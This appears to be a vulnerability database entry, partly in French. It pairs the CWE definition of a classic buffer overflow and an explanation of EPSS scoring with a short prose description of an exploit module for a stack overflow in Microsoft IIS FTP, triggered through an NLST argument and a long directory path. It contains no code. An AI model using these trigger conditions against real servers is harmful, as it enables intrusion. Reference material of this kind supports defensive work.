Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
service. The flaw is triggered when a special NLST argument is passed
while the session has changed into a long directory path. For this exploit
to work, the FTP server must be configured to allow write access to the
file system (either anonymously or in conjunction with a real account)
